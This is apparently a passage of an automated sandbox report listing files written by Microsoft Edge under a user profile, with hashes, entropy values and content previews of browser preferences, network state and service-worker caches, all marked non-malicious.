C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF275e2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF27ce6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3ed30.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\da8edd65-b054-44f3-8f8f-7e337f0d660c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\e2374fac-a78a-4883-9dd5-5c6b309f5d74.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.3035190857054575
Encrypted:	false
SSDEEP:	48:YcCpWsduCvsafc7leeBRsygCgkhYhbyDF:F2vu22keBxukOhy
MD5:	D07414264D2DA6A121F18223DC50EC04
SHA1:	814D93916C113C3BCB1AFF03A5AB5E9CB2A7BD1E
SHA-256:	D594EC617D902BC5C2742BDF21E9D7DFD29CC95A3C1AA7EC8C2D7BA07417A54B
SHA-512:	93746830632AE0D4E0A764C1226D21474C1282831E1A642ED37973841C5AB1E0FB63F89D55B3ACA3460EC3510D464ABCE7157A5128B5DA694AB3D1A7A53D56A4
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218151956","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218812706","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\ed478bab-3659-4ade-b242-e230fbb45efb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\f3f8e9de-0f48-4115-9e16-c5731106c032.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1650
Entropy (8bit):	5.308686144401571
Encrypted:	false
SSDEEP:	48:YcCpfgCzsetshfc7leeBkBRsVCgHDYhbyDF:F2fZy2keBkBKTkhy
MD5:	87CDF96B92CF4A644A531358FF5EE78F
SHA1:	53A6B795596380150868090079CC4C3B8F1EAEAB
SHA-256:	E064BC429EC6E83E8B9FF4F2DE65CB8CB562BCF3BF210AD9042EBCB42F9ECC60
SHA-512:	631FA73E990432CBD2C9E9F45AA93E9AEE83B09EC04A09D3CD379783DBB6E055E773666AA9DB42CDE6921828A10143EDC92028E4AE0B742BEC0F5298BD67F877
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378987553634707","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378987558318034","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10559
Entropy (8bit):	5.1339599507265445
Encrypted:	false
SSDEEP:	192:stykdpjsv3yaNP9k1xaxJSQ88MbV+FC+Qw2dmPTYJ:styQjsv3tJfibG5Qw0
MD5:	64388E699B6788E7CC15DDF3DF0C23E6
SHA1:	762497A702DE30A3776E7E74D27C3F1617C00F71
SHA-256:	7830216E6505A914EF944C92031842B56BBA15B14BA64859C6988D14CB1D2A98
SHA-512:	5E3CFB7F29203FA1C27FC28D7829DB18A81817A98CDE864676297740549286A4ECC929F997DD7F43219D473D2E15E5E6047C192826FC637BE4C491DA78D678E8
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376395551374651","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF29d9d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10559
Entropy (8bit):	5.1339599507265445
Encrypted:	false
SSDEEP:	192:stykdpjsv3yaNP9k1xaxJSQ88MbV+FC+Qw2dmPTYJ:styQjsv3tJfibG5Qw0
MD5:	64388E699B6788E7CC15DDF3DF0C23E6
SHA1:	762497A702DE30A3776E7E74D27C3F1617C00F71
SHA-256:	7830216E6505A914EF944C92031842B56BBA15B14BA64859C6988D14CB1D2A98
SHA-512:	5E3CFB7F29203FA1C27FC28D7829DB18A81817A98CDE864676297740549286A4ECC929F997DD7F43219D473D2E15E5E6047C192826FC637BE4C491DA78D678E8
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376395551374651","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF2eb12.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10559
Entropy (8bit):	5.1339599507265445
Encrypted:	false
SSDEEP:	192:stykdpjsv3yaNP9k1xaxJSQ88MbV+FC+Qw2dmPTYJ:styQjsv3tJfibG5Qw0
MD5:	64388E699B6788E7CC15DDF3DF0C23E6
SHA1:	762497A702DE30A3776E7E74D27C3F1617C00F71
SHA-256:	7830216E6505A914EF944C92031842B56BBA15B14BA64859C6988D14CB1D2A98
SHA-512:	5E3CFB7F29203FA1C27FC28D7829DB18A81817A98CDE864676297740549286A4ECC929F997DD7F43219D473D2E15E5E6047C192826FC637BE4C491DA78D678E8
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376395551374651","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF36051.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10559
Entropy (8bit):	5.1339599507265445
Encrypted:	false
SSDEEP:	192:stykdpjsv3yaNP9k1xaxJSQ88MbV+FC+Qw2dmPTYJ:styQjsv3tJfibG5Qw0
MD5:	64388E699B6788E7CC15DDF3DF0C23E6
SHA1:	762497A702DE30A3776E7E74D27C3F1617C00F71
SHA-256:	7830216E6505A914EF944C92031842B56BBA15B14BA64859C6988D14CB1D2A98
SHA-512:	5E3CFB7F29203FA1C27FC28D7829DB18A81817A98CDE864676297740549286A4ECC929F997DD7F43219D473D2E15E5E6047C192826FC637BE4C491DA78D678E8
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376395551374651","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25185
Entropy (8bit):	5.571809294155018
Encrypted:	false
SSDEEP:	768:T9w7xbWPVpfqN8F1+UoAYDCx9Tuqh0VfUC9xbog/OV/unamrwRp+tuH:T9w7xbWPVpfqNu1jaYmaj2tg
MD5:	2421A4B18EF8A7EB7A3D3D9091F99F33
SHA1:	4389DA1D87206024B3F8C4218F017A7623AE873A
SHA-256:	18AC69E448ECDD06C9DA5D86D62A309B845D0DBD2655F030FFBF2071EE07F220
SHA-512:	6536D222AAE5C387553440B90A803CCEE24317164329CA45FC4C9208CF7DF72EBB3D06F9D49274CF661B4F610E5C4F061AF3808D7A757C3827EF112987EF4DF6
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376395550771756","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376395550771756","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF29ce2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25185
Entropy (8bit):	5.571809294155018
Encrypted:	false
SSDEEP:	768:T9w7xbWPVpfqN8F1+UoAYDCx9Tuqh0VfUC9xbog/OV/unamrwRp+tuH:T9w7xbWPVpfqNu1jaYmaj2tg
MD5:	2421A4B18EF8A7EB7A3D3D9091F99F33
SHA1:	4389DA1D87206024B3F8C4218F017A7623AE873A
SHA-256:	18AC69E448ECDD06C9DA5D86D62A309B845D0DBD2655F030FFBF2071EE07F220
SHA-512:	6536D222AAE5C387553440B90A803CCEE24317164329CA45FC4C9208CF7DF72EBB3D06F9D49274CF661B4F610E5C4F061AF3808D7A757C3827EF112987EF4DF6
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376395550771756","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376395550771756","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF2c54a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25185
Entropy (8bit):	5.571809294155018
Encrypted:	false
SSDEEP:	768:T9w7xbWPVpfqN8F1+UoAYDCx9Tuqh0VfUC9xbog/OV/unamrwRp+tuH:T9w7xbWPVpfqNu1jaYmaj2tg
MD5:	2421A4B18EF8A7EB7A3D3D9091F99F33
SHA1:	4389DA1D87206024B3F8C4218F017A7623AE873A
SHA-256:	18AC69E448ECDD06C9DA5D86D62A309B845D0DBD2655F030FFBF2071EE07F220
SHA-512:	6536D222AAE5C387553440B90A803CCEE24317164329CA45FC4C9208CF7DF72EBB3D06F9D49274CF661B4F610E5C4F061AF3808D7A757C3827EF112987EF4DF6
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376395550771756","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376395550771756","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.836146511847003
Encrypted:	false
SSDEEP:	48:F2emHtrdDOMfB5Xrd6NgtWrdDOPBzGrdLPBo:F1mHtxDdbx6NgtWxDAGx2
MD5:	7639811B8F4147B10634651CACD4EDFC
SHA1:	0F66B37D1BF4E1DED4CB9C0AEDC0F44A1DE5A15B
SHA-256:	03CB360109FC43CA71589F91763B5EAD3B8CF2F1DE2533C5E587A5703CD3F1EC
SHA-512:	E41F0AC3E8896ED33D5928FD75179E4C189CD3DB982780D74A540CB6E59D69F5933F66D3ADA5193B040E25445F69F35FEF9C30B876C1232A4A0455F11443A11D
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2.._.m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	303
Entropy (8bit):	5.146517370639333
Encrypted:	false
SSDEEP:	6:HUOdsjQ1cNwi23oH+TcwtE/a252KLlVUOds2AVq2PcNwi23oH+TcwtE/a2ZIFUv:JtZYeb8xLhv4vLZYeb8J2FUv
MD5:	CA089F481BD5B5472AEDF4AC62860C32
SHA1:	AAB1B98D220563CCC8D7263DE9D79D73248A97AD
SHA-256:	DBED327D18B50877668A1C787760997D9239893FFB1AF06D966AB50A7BDCB093
SHA-512:	0ABEE37B4849CD43C3288DD1B023E8DD8E42CF734F92E5A640EA6F647F5A8DF7FBE3D155F866A26500966EE84E01FEA423F64B7E49C08FC161E1D665371F9CBC
Malicious:	false
Preview:	2024/11/18-04:26:01.736 2e0 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/18-04:26:01.750 2e0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114467
Entropy (8bit):	5.578128840229319
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKHQcM6kqWD:d9LyxPXfOxr1lMe1nL/CL/TXEmilRo
MD5:	7BAF4065FFBA56F64AFDBEE8E72C7DE4
SHA1:	BFC6AEB4BD82FAD330B0324843EDCF4145921AEC
SHA-256:	275216F5BC2A51B959FD3B279FF09E2A5D3F3F5E9B7080341807BD255AFDBF52
SHA-512:	C2E801AE94FE2B737ADAA9076A86D0CEC9E457ED38625E8193FC890235B8C113F645096B48C8EE65F474C1FA40B4C7A5866F8C1E467042574307B976308DCBD5
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188969
Entropy (8bit):	6.387614377473994
Encrypted:	false
SSDEEP:	3072:ErwT9sBSr8w/Meu7VL/4KMH6ktSPgphi4Ciw:X8wdupL/70hSEyf
MD5:	26D234213220EA43F7360E5A98CB7C74
SHA1:	5AD129BB37252B3E525FFB5D0F6006B51E79B434
